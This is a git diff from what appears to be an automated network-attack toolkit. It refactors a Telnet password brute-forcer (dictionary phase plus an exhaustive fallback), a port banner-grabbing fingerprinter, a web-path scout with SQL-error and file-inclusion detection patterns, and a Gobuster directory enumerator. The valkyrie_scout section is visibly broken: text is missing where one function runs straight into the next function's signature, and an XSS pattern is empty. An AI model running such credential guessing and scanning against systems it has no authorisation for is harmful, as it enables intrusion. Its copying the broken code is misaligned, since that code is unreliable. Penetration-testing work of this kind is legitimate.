self.queue.put((adresse_ip, user, password, mac_address, hostname, port)) - self.queue.join() - for t in threads: - t.join() + threads = [] + thread_count = min(8, max(1, phase_tasks)) + for _ in range(thread_count): + t = threading.Thread(target=self.worker, args=(success_flag,), daemon=True) + t.start() + threads.append(t) - return success_flag[0], self.results + self.queue.join() + for t in threads: + t.join() + + try: + run_phase(dict_passwords) + if (not success_flag[0]) and fallback_passwords and not self.shared_data.orchestrator_should_exit: + logger.info( + f"Telnet dictionary phase failed on {adresse_ip}:{port}. " + f"Starting exhaustive fallback ({len(fallback_passwords)} passwords)." + ) + run_phase(fallback_passwords) + self.progress.set_complete() + return success_flag[0], self.results + finally: + self.shared_data.bjorn_progress = "" # ---------- persistence DB ---------- def save_results(self): @@ -270,3 +285,4 @@ if __name__ == "__main__": except Exception as e: logger.error(f"Error: {e}") exit(1) + diff --git a/actions/thor_hammer.py b/actions/thor_hammer.py index 410b54a..1718ccc 100644 --- a/actions/thor_hammer.py +++ b/actions/thor_hammer.py @@ -1,214 +1,191 @@ -# Service fingerprinting and version detection tool for vulnerability identification. -# Saves settings in `/home/bjorn/.settings_bjorn/thor_hammer_settings.json`. -# Automatically loads saved settings if arguments are not provided. -# -t, --target Target IP or hostname to scan (overrides saved value). -# -p, --ports Ports to scan (default: common ports, comma-separated). -# -o, --output Output directory (default: /home/bjorn/Bjorn/data/output/services). -# -d, --delay Delay between probes in seconds (default: 1). -# -v, --verbose Enable verbose output for detailed service information. +#!/usr/bin/env python3 +# -*- coding: utf-8 -*- +""" +thor_hammer.py — Service fingerprinting (Pi Zero friendly, orchestrator compatible). + +What it does: +- For a given target (ip, port), tries a fast TCP connect + banner grab. +- Optionally stores a service fingerprint into DB.port_services via db.upsert_port_service. +- Updates EPD fields: bjorn_orch_status, bjorn_status_text2, comment_params, bjorn_progress. + +Notes: +- Avoids spawning nmap per-port (too heavy). If you want nmap, add a dedicated action. +""" -import os -import json -import socket -import argparse -import threading -from datetime import datetime import logging -from concurrent.futures import ThreadPoolExecutor -import subprocess +import socket +import time +from typing import Dict, Optional, Tuple + +from logger import Logger +from actions.bruteforce_common import ProgressTracker + +logger = Logger(name="thor_hammer.py", level=logging.DEBUG) + +# -------------------- Action metadata (AST-friendly) -------------------- +b_class = "ThorHammer" +b_module = "thor_hammer" +b_status = "ThorHammer" +b_port = None +b_parent = None +b_service = '["ssh","ftp","telnet","http","https","smb","mysql","postgres","mssql","rdp","vnc"]' +b_trigger = "on_port_change" +b_priority = 35 +b_action = "normal" +b_cooldown = 1200 +b_rate_limit = "24/86400" +b_enabled = 0 # keep disabled by default; enable via Actions UI/DB when ready. +def _guess_service_from_port(port: int) -> str: + mapping = { + 21: "ftp", + 22: "ssh", + 23: "telnet", + 25: "smtp", + 53: "dns", + 80: "http", + 110: "pop3", + 139: "netbios-ssn", + 143: "imap", + 443: "https", + 445: "smb", + 1433: "mssql", + 3306: "mysql", + 3389: "rdp", + 5432: "postgres", + 5900: "vnc", + 8080: "http", + } + return mapping.get(int(port), "") - -b_class = "ThorHammer" -b_module = "thor_hammer" -b_enabled = 0 - -# Configure logging -logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s') - -# Default settings -DEFAULT_OUTPUT_DIR = "/home/bjorn/Bjorn/data/output/services" -DEFAULT_SETTINGS_DIR = "/home/bjorn/.settings_bjorn" -SETTINGS_FILE = os.path.join(DEFAULT_SETTINGS_DIR, "thor_hammer_settings.json") -DEFAULT_PORTS = [21, 22, 23, 25, 53, 80, 110, 115, 139, 143, 194, 443, 445, 1433, 3306, 3389, 5432, 5900, 8080] - -# Service signature database -SERVICE_SIGNATURES = { - 21: { - 'name': 'FTP', - 'vulnerabilities': { - 'vsftpd 2.3.4': 'Backdoor command execution', - 'ProFTPD 1.3.3c': 'Remote code execution' - } - }, - 22: { - 'name': 'SSH', - 'vulnerabilities': { - 'OpenSSH 5.3': 'Username enumeration', - 'OpenSSH 7.2p1': 'User enumeration timing attack' - } - }, - # Add more signatures as needed -} - class ThorHammer: - def __init__(self, target, ports=None, output_dir=DEFAULT_OUTPUT_DIR, delay=1, verbose=False): - self.target = target - self.ports = ports or DEFAULT_PORTS - self.output_dir = output_dir - self.delay = delay - self.verbose = verbose - self.results = { - 'target': target, - 'timestamp': datetime.now().isoformat(), - 'services': {} - } - self.lock = threading.Lock() + def __init__(self, shared_data): + self.shared_data = shared_data - def probe_service(self, port): - """Probe a specific port for service information.""" + def _connect_and_banner(self, ip: str, port: int, timeout_s: float, max_bytes: int) -> Tuple[bool, str]: + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.settimeout(timeout_s) try: - # Initial connection test - sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - sock.settimeout(self.delay) - result = sock.connect_ex((self.target, port)) - - if result == 0: - service_info = { - 'port': port, - 'state': 'open', - 'service': None, - 'version': None, - 'vulnerabilities': [] + if s.connect_ex((ip, int(port))) != 0: + return False, "" + try: + data = s.recv(max_bytes) + banner = (data or b"").decode("utf-8", errors="ignore").strip() + except Exception: + banner = "" + return True, banner + finally: + try: + s.close() + except Exception: + pass + + def execute(self, ip, port, row, status_key) -> str: + if self.shared_data.orchestrator_should_exit: + return "interrupted" + + try: + port_i = int(port) if str(port).strip() else None + except Exception: + port_i = None + + # If port is missing, try to infer from row 'Ports' and fingerprint a few. + ports_to_check = [] + if port_i: + ports_to_check = [port_i] + else: + ports_txt = str(row.get("Ports") or row.get("ports") or "") + for p in ports_txt.split(";"): + p = p.strip() + if p.isdigit(): + ports_to_check.append(int(p)) + ports_to_check = ports_to_check[:12] # Pi Zero guard + + if not ports_to_check: + return "failed" + + timeout_s = float(getattr(self.shared_data, "thor_connect_timeout_s", 1.5)) + max_bytes = int(getattr(self.shared_data, "thor_banner_max_bytes", 1024)) + source = str(getattr(self.shared_data, "thor_source", "thor_hammer")) + + mac = (row.get("MAC Address") or row.get("mac_address") or row.get("mac") or "").strip() + hostname = (row.get("Hostname") or row.get("hostname") or "").strip() + if ";" in hostname: + hostname = hostname.split(";", 1)[0].strip() + + self.shared_data.bjorn_orch_status = "ThorHammer" + self.shared_data.bjorn_status_text2 = ip + self.shared_data.comment_params = {"ip": ip, "port": str(ports_to_check[0])} + + progress = ProgressTracker(self.shared_data, len(ports_to_check)) + + try: + any_open = False + for p in ports_to_check: + if self.shared_data.orchestrator_should_exit: + return "interrupted" + + ok, banner = self._connect_and_banner(ip, p, timeout_s=timeout_s, max_bytes=max_bytes) + any_open = any_open or ok + + service = _guess_service_from_port(p) + product = "" + version = "" + fingerprint = banner[:200] if banner else "" + confidence = 0.4 if ok else 0.1 + state = "open" if ok else "closed" + + self.shared_data.comment_params = { + "ip": ip, + "port": str(p), + "open": str(int(ok)), + "svc": service or "?", } - # Get service banner + # Persist to DB if method exists. try: - banner = sock.recv(1024).decode('utf-8', errors='ignore').strip() - service_info['banner'] = banner - except: - service_info['banner'] = None + if hasattr(self.shared_data, "db") and hasattr(self.shared_data.db, "upsert_port_service"): + self.shared_data.db.upsert_port_service( + mac_address=mac or "", + ip=ip, + port=int(p), + protocol="tcp", + state=state, + service=service or None, + product=product or None, + version=version or None, + banner=banner or None, + fingerprint=fingerprint or None, + confidence=float(confidence), + source=source, + ) + except Exception as e: + logger.error(f"DB upsert_port_service failed for {ip}:{p}: {e}") - # Advanced service detection using nmap if available - try: - nmap_output = subprocess.check_output( - ['nmap', '-sV', '-p', str(port), '-T4', self.target], - stderr=subprocess.DEVNULL - ).decode() - - # Parse nmap output - for line in nmap_output.split('\n'): - if str(port) in line and 'open' in line: - service_info['service'] = line.split()[2] - if len(line.split()) > 3: - service_info['version'] = ' '.join(line.split()[3:]) - except: - pass + progress.advance(1) - # Check for known vulnerabilities - if port in SERVICE_SIGNATURES: - sig = SERVICE_SIGNATURES[port] - service_info['service'] = service_info['service'] or sig['name'] - if service_info['version']: - for vuln_version, vuln_desc in sig['vulnerabilities'].items(): - if vuln_version.lower() in service_info['version'].lower(): - service_info['vulnerabilities'].append({ - 'version': vuln_version, - 'description': vuln_desc - }) + progress.set_complete() + return "success" if any_open else "failed" + finally: + self.shared_data.bjorn_progress = "" + self.shared_data.comment_params = {} + self.shared_data.bjorn_status_text2 = "" - with self.lock: - self.results['services'][port] = service_info - if self.verbose: - logging.info(f"Service detected on port {port}: {service_info['service']}") - sock.close() +# -------------------- Optional CLI (debug/manual) -------------------- +if __name__ == "__main__": + import argparse + from shared import SharedData - except Exception as e: - logging.error(f"Error probing port {port}: {e}") - - def save_results(self): - """Save scan results to a JSON file.""" - try: - os.makedirs(self.output_dir, exist_ok=True) - timestamp = datetime.now().strftime("%Y-%m-%d_%H-%M-%S") - filename = os.path.join(self.output_dir, f"service_scan_{timestamp}.json") - - with open(filename, 'w') as f: - json.dump(self.results, f, indent=4) - logging.info(f"Results saved to {filename}") - except Exception as e: - logging.error(f"Failed to save results: {e}") - - def execute(self): - """Execute the service scanning and fingerprinting process.""" - logging.info(f"Starting service scan on {self.target}") - - with ThreadPoolExecutor(max_workers=10) as executor: - executor.map(self.probe_service, self.ports) - - self.save_results() - return self.results - -def save_settings(target, ports, output_dir, delay, verbose): - """Save settings to JSON file.""" - try: - os.makedirs(DEFAULT_SETTINGS_DIR, exist_ok=True) - settings = { - "target": target, - "ports": ports, - "output_dir": output_dir, - "delay": delay, - "verbose": verbose - } - with open(SETTINGS_FILE, 'w') as f: - json.dump(settings, f) - logging.info(f"Settings saved to {SETTINGS_FILE}") - except Exception as e: - logging.error(f"Failed to save settings: {e}") - -def load_settings(): - """Load settings from JSON file.""" - if os.path.exists(SETTINGS_FILE): - try: - with open(SETTINGS_FILE, 'r') as f: - return json.load(f) - except Exception as e: - logging.error(f"Failed to load settings: {e}") - return {} - -def main(): - parser = argparse.ArgumentParser(description="Service fingerprinting and vulnerability detection tool") - parser.add_argument("-t", "--target", help="Target IP or hostname") - parser.add_argument("-p", "--ports", help="Ports to scan (comma-separated)") - parser.add_argument("-o", "--output", default=DEFAULT_OUTPUT_DIR, help="Output directory") - parser.add_argument("-d", "--delay", type=float, default=1, help="Delay between probes") - parser.add_argument("-v", "--verbose", action="store_true", help="Enable verbose output") + parser = argparse.ArgumentParser(description="ThorHammer (service fingerprint)") + parser.add_argument("--ip", required=True) + parser.add_argument("--port", default="22") args = parser.parse_args() - settings = load_settings() - target = args.target or settings.get("target") - ports = [int(p) for p in args.ports.split(',')] if args.ports else settings.get("ports", DEFAULT_PORTS) - output_dir = args.output or settings.get("output_dir") - delay = args.delay or settings.get("delay") - verbose = args.verbose or settings.get("verbose") + sd = SharedData() + act = ThorHammer(sd) + row = {"MAC Address": sd.get_raspberry_mac() or "__GLOBAL__", "Hostname": "", "Ports": args.port} + print(act.execute(args.ip, args.port, row, "ThorHammer")) - if not target: - logging.error("Target is required. Use -t or save it in settings") - return - - save_settings(target, ports, output_dir, delay, verbose) - - scanner = ThorHammer( - target=target, - ports=ports, - output_dir=output_dir, - delay=delay, - verbose=verbose - ) - scanner.execute() - -if __name__ == "__main__": - main() \ No newline at end of file diff --git a/actions/valkyrie_scout.py b/actions/valkyrie_scout.py index e38e383..4d330b2 100644 --- a/actions/valkyrie_scout.py +++ b/actions/valkyrie_scout.py @@ -1,313 +1,396 @@ -# Web application scanner for discovering hidden paths and vulnerabilities. -# Saves settings in `/home/bjorn/.settings_bjorn/valkyrie_scout_settings.json`. -# Automatically loads saved settings if arguments are not provided. -# -u, --url Target URL to scan (overrides saved value). -# -w, --wordlist Path to directory wordlist (default: built-in list). -# -o, --output Output directory (default: /home/bjorn/Bjorn/data/output/webscan). -# -t, --threads Number of concurrent threads (default: 10). -# -d, --delay Delay between requests in seconds (default: 0.1). +#!/usr/bin/env python3 +# -*- coding: utf-8 -*- +""" +valkyrie_scout.py — Web surface scout (Pi Zero friendly, orchestrator compatible). + +What it does: +- Probes a small set of common web paths on a target (ip, port). +- Extracts high-signal indicators from responses (auth type, login form hints, missing security headers, + error/debug strings). No exploitation, no bruteforce. +- Writes results into DB table `webenum` (tool='valkyrie_scout') so the UI can browse findings. +- Updates EPD fields: bjorn_orch_status, bjorn_status_text2, comment_params, bjorn_progress. +""" -import os import json -import requests -import argparse -from datetime import datetime import logging -import threading -from concurrent.futures import ThreadPoolExecutor -from urllib.parse import urljoin import re -from bs4 import BeautifulSoup +import ssl +import time +from http.client import HTTPConnection, HTTPSConnection, RemoteDisconnected +from typing import Dict, List, Optional, Tuple + +from logger import Logger +from actions.bruteforce_common import ProgressTracker + +logger = Logger(name="valkyrie_scout.py", level=logging.DEBUG) + +# -------------------- Action metadata (AST-friendly) -------------------- +b_class = "ValkyrieScout" +b_module = "valkyrie_scout" +b_status = "ValkyrieScout" +b_port = 80 +b_parent = None +b_service = '["http","https"]' +b_trigger = "on_web_service" +b_priority = 50 +b_action = "normal" +b_cooldown = 1800 +b_rate_limit = "8/86400" +b_enabled = 0 # keep disabled by default; enable via Actions UI/DB when ready. + +# Small default list to keep the action cheap on Pi Zero. +DEFAULT_PATHS = [ + "/", + "/robots.txt", + "/login", + "/signin", + "/auth", + "/admin", + "/administrator", + "/wp-login.php", + "/user/login", +] + +# Keep patterns minimal and high-signal. +SQLI_ERRORS = [ + "error in your sql syntax", + "mysql_fetch", + "unclosed quotation mark", + "ora-", + "postgresql", + "sqlite error", +] +LFI_HINTS = [ + "include(", + "require(", + "include_once(", + "require_once(", +] +DEBUG_HINTS = [ + "stack trace", + "traceback", + "exception", + "fatal error", + "notice:", + "warning:", + "debug", +] -b_class = "ValkyrieScout" -b_module = "valkyrie_scout" -b_enabled = 0 +def _scheme_for_port(port: int) -> str: + https_ports = {443, 8443, 9443, 10443, 9444, 5000, 5001, 7080, 9080} + return "https" if int(port) in https_ports else "http" -# Configure logging -logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s') -# Default settings -DEFAULT_OUTPUT_DIR = "/home/bjorn/Bjorn/data/output/webscan" -DEFAULT_SETTINGS_DIR = "/home/bjorn/.settings_bjorn" -SETTINGS_FILE = os.path.join(DEFAULT_SETTINGS_DIR, "valkyrie_scout_settings.json") - -# Common web vulnerabilities to check -VULNERABILITY_PATTERNS = { - 'sql_injection': [ - "error in your SQL syntax", - "mysql_fetch_array", - "ORA-", - "PostgreSQL", - ], - 'xss': [ - "", - "javascript:alert(1)", - ], - 'lfi': [ - "include(", - "require(", - "include_once(", - "require_once(", - ] -} - -class ValkyieScout: - def __init__(self, url, wordlist=None, output_dir=DEFAULT_OUTPUT_DIR, threads=10, delay=0.1): - self.base_url = url.rstrip('/') - self.wordlist = wordlist - self.output_dir = output_dir - self.threads = threads - self.delay = delay - - self.discovered_paths = set() - self.vulnerabilities = [] - self.forms = [] - - self.session = requests.Session() - self.session.headers = { - 'User-Agent': 'Valkyrie Scout Web Scanner', - 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', - } - - self.lock = threading.Lock() - - def load_wordlist(self): - """Load directory wordlist.""" - if self.wordlist and os.path.exists(self.wordlist): - with open(self.wordlist, 'r') as f: - return [line.strip() for line in f if line.strip()] - return [ - 'admin', 'wp-admin', 'administrator', 'login', 'wp-login.php', - 'upload', 'uploads', 'backup', 'backups', 'config', 'configuration', - 'dev', 'development', 'test', 'testing', 'staging', 'prod', - 'api', 'v1', 'v2', 'beta', 'debug', 'console', 'phpmyadmin', - 'mysql', 'database', 'db', 'wp-content', 'includes', 'tmp', 'temp' - ] - - def scan_path(self, path): - """Scan a single path for existence and vulnerabilities.""" - url = urljoin(self.base_url, path) - try: - response = self.session.get(url, allow_redirects=False) - - if response.status_code in [200, 301, 302, 403]: - with self.lock: - self.discovered_paths.add({ - 'path': path, - 'url': url, - 'status_code': response.status_code, - 'content_length': len(response.content), - 'timestamp': datetime.now().isoformat() - }) - - # Scan for vulnerabilities - self.check_vulnerabilities(url, response) - - # Extract and analyze forms - self.analyze_forms(url, response) - - except Exception as e: - logging.error(f"Error scanning {url}: {e}") - - def check_vulnerabilities(self, url, response): - """Check for common vulnerabilities in the response.""" - try: - content = response.text.lower() - - for vuln_type, patterns in VULNERABILITY_PATTERNS.items(): - for pattern in patterns: - if pattern.lower() in content: - with self.lock: - self.vulnerabilities.append({ - 'type': vuln_type, - 'url': url, - 'pattern': pattern, - 'timestamp': datetime.now().isoformat() - }) - - # Additional checks - self.check_security_headers(url, response) - self.check_information_disclosure(url, response) - - except Exception as e: - logging.error(f"Error checking vulnerabilities for {url}: {e}") - - def analyze_forms(self, url, response): - """Analyze HTML forms for potential vulnerabilities.""" - try: - soup = BeautifulSoup(response.text, 'html.parser') - forms = soup.find_all('form') - - for form in forms: - form_data = { - 'url': url, - 'method': form.get('method', 'get').lower(), - 'action': urljoin(url, form.get('action', '')), - 'inputs': [], - 'timestamp': datetime.now().isoformat() - } - - # Analyze form inputs - for input_field in form.find_all(['input', 'textarea']): - input_data = { - 'type': input_field.get('type', 'text'), - 'name': input_field.get('name', ''), - 'id': input_field.get('id', ''), - 'required': input_field.get('required') is not None - } - form_data['inputs'].append(input_data) - - with self.lock: - self.forms.append(form_data) - - except Exception as e: - logging.error(f"Error analyzing forms in {url}: {e}") - - def check_security_headers(self, url, response): - """Check for missing or misconfigured security headers.""" - security_headers = { - 'X-Frame-Options': 'Missing X-Frame-Options header', - 'X-XSS-Protection': 'Missing X-XSS-Protection header', - 'X-Content-Type-Options': 'Missing X-Content-Type-Options header', - 'Strict-Transport-Security': 'Missing HSTS header', - 'Content-Security-Policy': 'Missing Content-Security-Policy' - } - - for header, message in security_headers.items(): - if header not in response.headers: - with self.lock: - self.vulnerabilities.append({ - 'type': 'missing_security_header', - 'url': url, - 'detail': message, - 'timestamp': datetime.now().isoformat() - }) - - def check_information_disclosure(self, url, response): - """Check for information disclosure in response.""" - patterns = { - 'email': r'[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}', - 'internal_ip': r'\b(?:192\.168|10\.|172\.(?:1[6-9]|2[0-9]|3[01]))\.\d{1,3}\.\d{1,3}\b', - 'debug_info': r'(?:stack trace|debug|error|exception)', - 'version_info': r'(?:version|powered by|built with)' - } - - content = response.text.lower() - for info_type, pattern in patterns.items(): - matches = re.findall(pattern, content, re.IGNORECASE) - if matches: - with self.lock: - self.vulnerabilities.append({ - 'type': 'information_disclosure', - 'url': url, - 'info_type': info_type, - 'findings': matches, - 'timestamp': datetime.now().isoformat() - }) - - def save_results(self): - """Save scan results to JSON files.""" - try: - os.makedirs(self.output_dir, exist_ok=True) - timestamp = datetime.now().strftime("%Y-%m-%d_%H-%M-%S") - - # Save discovered paths - if self.discovered_paths: - paths_file = os.path.join(self.output_dir, f"paths_{timestamp}.json") - with open(paths_file, 'w') as f: - json.dump(list(self.discovered_paths), f, indent=4) - - # Save vulnerabilities - if self.vulnerabilities: - vulns_file = os.path.join(self.output_dir, f"vulnerabilities_{timestamp}.json") - with open(vulns_file, 'w') as f: - json.dump(self.vulnerabilities, f, indent=4) - - # Save form analysis - if self.forms: - forms_file = os.path.join(self.output_dir, f"forms_{timestamp}.json") - with open(forms_file, 'w') as f: - json.dump(self.forms, f, indent=4) - - logging.info(f"Results saved to {self.output_dir}") - - except Exception as e: - logging.error(f"Failed to save results: {e}") - - def execute(self): - """Execute the web application scan.""" - try: - logging.info(f"Starting web scan on {self.base_url}") - paths = self.load_wordlist() - - with ThreadPoolExecutor(max_workers=self.threads) as executor: - executor.map(self.scan_path, paths) - - self.save_results() - - except Exception as e: - logging.error(f"Scan error: {e}") - finally: - self.session.close() - -def save_settings(url, wordlist, output_dir, threads, delay): - """Save settings to JSON file.""" +def _first_hostname_from_row(row: Dict) -> str: try: - os.makedirs(DEFAULT_SETTINGS_DIR, exist_ok=True) - settings = { - "url": url, - "wordlist": wordlist, - "output_dir": output_dir, - "threads": threads, - "delay": delay - } - with open(SETTINGS_FILE, 'w') as f: - json.dump(settings, f) - logging.info(f"Settings saved to {SETTINGS_FILE}") - except Exception as e: - logging.error(f"Failed to save settings: {e}") + hn = (row.get("Hostname") or row.get("hostname") or row.get("hostnames") or "").strip() + if ";" in hn: + hn = hn.split(";", 1)[0].strip() + return hn + except Exception: + return "" -def load_settings(): - """Load settings from JSON file.""" - if os.path.exists(SETTINGS_FILE): + +def _lower_headers(headers: Dict[str, str]) -> Dict[str, str]: + out = {} + for k, v in (headers or {}).items(): + if not k: + continue + out[str(k).lower()] = str(v) + return out + + +def _detect_signals(status: int, headers: Dict[str, str], body_snippet: str) -> Dict[str, object]: + h = _lower_headers(headers) + www = h.get("www-authenticate", "") + set_cookie = h.get("set-cookie", "") + + auth_type = None + if status == 401 and "basic" in www.lower(): + auth_type = "basic" + elif status == 401 and "digest" in www.lower(): + auth_type = "digest" + + snippet = (body_snippet or "").lower() + has_form = " Tuple[int, Dict[str, str], str, int, int]: + started = time.time() + headers_out: Dict[str, str] = {} + status = 0 + size = 0 + body_snip = "" + + conn = None try: - with open(SETTINGS_FILE, 'r') as f: - return json.load(f) - except Exception as e: - logging.error(f"Failed to load settings: {e}") - return {} + if scheme == "https": + conn = HTTPSConnection(ip, port=port, timeout=timeout_s, context=self._ssl_ctx) + else: + conn = HTTPConnection(ip, port=port, timeout=timeout_s) -def main(): - parser = argparse.ArgumentParser(description="Web application vulnerability scanner") - parser.add_argument("-u", "--url", help="Target URL to scan") - parser.add_argument("-w", "--wordlist", help="Path to directory wordlist") - parser.add_argument("-o", "--output", default=DEFAULT_OUTPUT_DIR, help="Output directory") - parser.add_argument("-t", "--threads", type=int, default=10, help="Number of threads") - parser.add_argument("-d", "--delay", type=float, default=0.1, help="Delay between requests") + conn.request("GET", path, headers={"User-Agent": user_agent, "Accept": "*/*"}) + resp = conn.getresponse() + status = int(resp.status or 0) + for k, v in resp.getheaders(): + if k and v: + headers_out[str(k)] = str(v) + + chunk = resp.read(max_bytes) + size = len(chunk or b"") + try: + body_snip = (chunk or b"").decode("utf-8", errors="ignore") + except Exception: + body_snip = "" + except (ConnectionError, TimeoutError, RemoteDisconnected): + status = 0 + except Exception: + status = 0 + finally: + try: + if conn: + conn.close() + except Exception: + pass + + elapsed_ms = int((time.time() - started) * 1000) + return status, headers_out, body_snip, size, elapsed_ms + + def _db_upsert( + self, + *, + mac: str, + ip: str, + hostname: str, + port: int, + path: str, + status: int, + size: int, + response_ms: int, + content_type: str, + payload: dict, + user_agent: str, + ): + try: + headers_json = json.dumps(payload, ensure_ascii=True) + except Exception: + headers_json = "" + + self.shared_data.db.execute( + """ + INSERT INTO webenum ( + mac_address, ip, hostname, port, directory, status, + size, response_time, content_type, tool, method, + user_agent, headers, is_active + ) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, 'valkyrie_scout', 'GET', ?, ?, 1) + ON CONFLICT(mac_address, ip, port, directory) DO UPDATE SET + status = excluded.status, + size = excluded.size, + response_time = excluded.response_time, + content_type = excluded.content_type, + hostname = COALESCE(excluded.hostname, webenum.hostname), + user_agent = COALESCE(excluded.user_agent, webenum.user_agent), + headers = COALESCE(excluded.headers, webenum.headers), + last_seen = CURRENT_TIMESTAMP, + is_active = 1 + """, + ( + mac or "", + ip or "", + hostname or "", + int(port), + path or "/", + int(status), + int(size or 0), + int(response_ms or 0), + content_type or "", + user_agent or "", + headers_json, + ), + ) + + def execute(self, ip, port, row, status_key) -> str: + if self.shared_data.orchestrator_should_exit: + return "interrupted" + + try: + port_i = int(port) if str(port).strip() else int(getattr(self, "port", 80) or 80) + except Exception: + port_i = 80 + + scheme = _scheme_for_port(port_i) + hostname = _first_hostname_from_row(row) + mac = (row.get("MAC Address") or row.get("mac_address") or row.get("mac") or "").strip() + + timeout_s = float(getattr(self.shared_data, "web_probe_timeout_s", 4.0)) + user_agent = str(getattr(self.shared_data, "web_probe_user_agent", "BjornWebScout/1.0")) + max_bytes = int(getattr(self.shared_data, "web_probe_max_bytes", 65536)) + delay_s = float(getattr(self.shared_data, "valkyrie_delay_s", 0.05)) + + paths = getattr(self.shared_data, "valkyrie_scout_paths", None) + if not isinstance(paths, list) or not paths: + paths = DEFAULT_PATHS + + # UI + self.shared_data.bjorn_orch_status = "ValkyrieScout" + self.shared_data.bjorn_status_text2 = f"{ip}:{port_i}" + self.shared_data.comment_params = {"ip": ip, "port": str(port_i)} + + progress = ProgressTracker(self.shared_data, len(paths)) + + try: + for p in paths: + if self.shared_data.orchestrator_should_exit: + return "interrupted" + + path = str(p or "/").strip() + if not path.startswith("/"): + path = "/" + path + + status, headers, body, size, elapsed_ms = self._fetch( + ip=ip, + port=port_i, + scheme=scheme, + path=path, + timeout_s=timeout_s, + user_agent=user_agent, + max_bytes=max_bytes, + ) + + # Only keep minimal info; do not store full HTML. + ctype = headers.get("Content-Type") or headers.get("content-type") or "" + signals = _detect_signals(status, headers, body) + + payload = { + "signals": signals, + "sample": {"status": int(status), "content_type": ctype, "rt_ms": int(elapsed_ms)}, + } + + try: + self._db_upsert( + mac=mac, + ip=ip, + hostname=hostname, + port=port_i, + path=path, + status=status or 0, + size=size, + response_ms=elapsed_ms, + content_type=ctype, + payload=payload, + user_agent=user_agent, + ) + except Exception as e: + logger.error(f"DB write failed for {ip}:{port_i}{path}: {e}") + + self.shared_data.comment_params = { + "ip": ip, + "port": str(port_i), + "path": path, + "status": str(status), + "login": str(int(bool(signals.get("looks_like_login") or signals.get("auth_type")))), + } + progress.advance(1) + + if delay_s > 0: + time.sleep(delay_s) + + progress.set_complete() + return "success" + finally: + self.shared_data.bjorn_progress = "" + self.shared_data.comment_params = {} + self.shared_data.bjorn_status_text2 = "" + + +# -------------------- Optional CLI (debug/manual) -------------------- +if __name__ == "__main__": + import argparse + from shared import SharedData + + parser = argparse.ArgumentParser(description="ValkyrieScout (light web scout)") + parser.add_argument("--ip", required=True) + parser.add_argument("--port", default="80") args = parser.parse_args() - settings = load_settings() - url = args.url or settings.get("url") - wordlist = args.wordlist or settings.get("wordlist") - output_dir = args.output or settings.get("output_dir") - threads = args.threads or settings.get("threads") - delay = args.delay or settings.get("delay") + sd = SharedData() + act = ValkyrieScout(sd) + row = {"MAC Address": sd.get_raspberry_mac() or "__GLOBAL__", "Hostname": ""} + print(act.execute(args.ip, args.port, row, "ValkyrieScout")) - if not url: - logging.error("URL is required. Use -u or save it in settings") - return - - save_settings(url, wordlist, output_dir, threads, delay) - - scanner = ValkyieScout( - url=url, - wordlist=wordlist, - output_dir=output_dir, - threads=threads, - delay=delay - ) - scanner.execute() - -if __name__ == "__main__": - main() \ No newline at end of file diff --git a/actions/web_enum.py b/actions/web_enum.py index 73baec3..8ff207d 100644 --- a/actions/web_enum.py +++ b/actions/web_enum.py @@ -3,11 +3,11 @@ """ web_enum.py — Gobuster Web Enumeration -> DB writer for table `webenum`. -- Writes each finding into the `webenum` table -- ON CONFLICT(mac_address, ip, port, directory) DO UPDATE -- Respects orchestrator stop flag (shared_data.orchestrator_should_exit) -- No filesystem output: parse Gobuster stdout directly -- Filtrage dynamique des statuts HTTP via shared_data.web_status_codes +- Writes each finding into the `webenum` table in REAL-TIME (Streaming). +- Updates bjorn_progress with actual percentage (0-100%). +- Respects orchestrator stop flag (shared_data.orchestrator_should_exit) immediately. +- No filesystem output: parse Gobuster stdout/stderr directly. +- Filtrage dynamique des statuts HTTP via shared_data.web_status_codes. """ import re @@ -15,6 +15,9 @@ import socket import subprocess import threading import logging +import time +import os +import select from typing import List, Dict, Tuple, Optional, Set from shared import SharedData @@ -27,8 +30,8 @@ b_class = "WebEnumeration" b_module = "web_enum" b_status = "WebEnumeration" b_port = 80 -b_service = '["http","https"]' -b_trigger = 'on_any:["on_web_service","on_new_port:80","on_new_port:443","on_new_port:8080","on_new_port:8443","on_new_port:9443","on_new_port:8000","on_new_port:8888","on_new_port:81","on_new_port:5000","on_new_port:5001","on_new_port:7080","on_new_port:9080"]' +b_service = '["http","https"]' +b_trigger = 'on_any:["on_web_service","on_new_port:80","on_new_port:443","on_new_port:8080","on_new_port:8443","on_new_port:9443","on_new_port:8000","on_new_port:8888","on_new_port:81","on_new_port:5000","on_new_port:5001","on_new_port:7080","on_new_port:9080"]' b_parent = None b_priority = 9 b_cooldown = 1800 @@ -36,8 +39,6 @@ b_rate_limit = '3/86400' b_enabled = 1 # -------------------- Defaults & parsing -------------------- -# Valeur de secours si l'UI n'a pas encore initialisé shared_data.web_status_codes -# (par défaut: 2xx utiles, 3xx, 401/403/405 et tous les 5xx; 429 non inclus) DEFAULT_WEB_STATUS_CODES = [ 200, 201, 202, 203, 204, 206, 301, 302, 303, 307, 308, @@ -50,7 +51,6 @@ CTL_RE = re.compile(r"[\x00-\x1F\x7F]") # non-printables # Gobuster "dir" line examples handled: # /admin (Status: 301) [Size: 310] [--> http://10.0.0.5/admin/] -# /images (Status: 200) [Size: 12345] GOBUSTER_LINE = re.compile( r"""^(?P\S+)\s* \(Status:\s*(?P\d{3})\)\s* @@ -60,13 +60,14 @@ GOBUSTER_LINE = re.compile( re.VERBOSE ) +# Regex pour capturer la progression de Gobuster sur stderr +# Ex: "Progress: 1024 / 4096 (25.00%)" +GOBUSTER_PROGRESS_RE = re.compile(r"Progress:\s+(?P\d+)\s*/\s+(?P\d+)") + + def _normalize_status_policy(policy) -> Set[int]: """ Transforme une politique "UI" en set d'entiers HTTP. - policy peut contenir: - - int (ex: 200, 403) - - "xXX" (ex: "2xx", "5xx") - - "a-b" (ex: "500-504") """ codes: Set[int] = set() if not policy: @@ -99,30 +100,48 @@ def _normalize_status_policy(policy) -> Set[int]: class WebEnumeration: """ Orchestrates Gobuster web dir enum and writes normalized results into DB. - In-memory only: no CSV, no temp files. + Streaming mode: Reads stdout/stderr in real-time for DB inserts and Progress UI. """ def __init__(self, shared_data: SharedData): 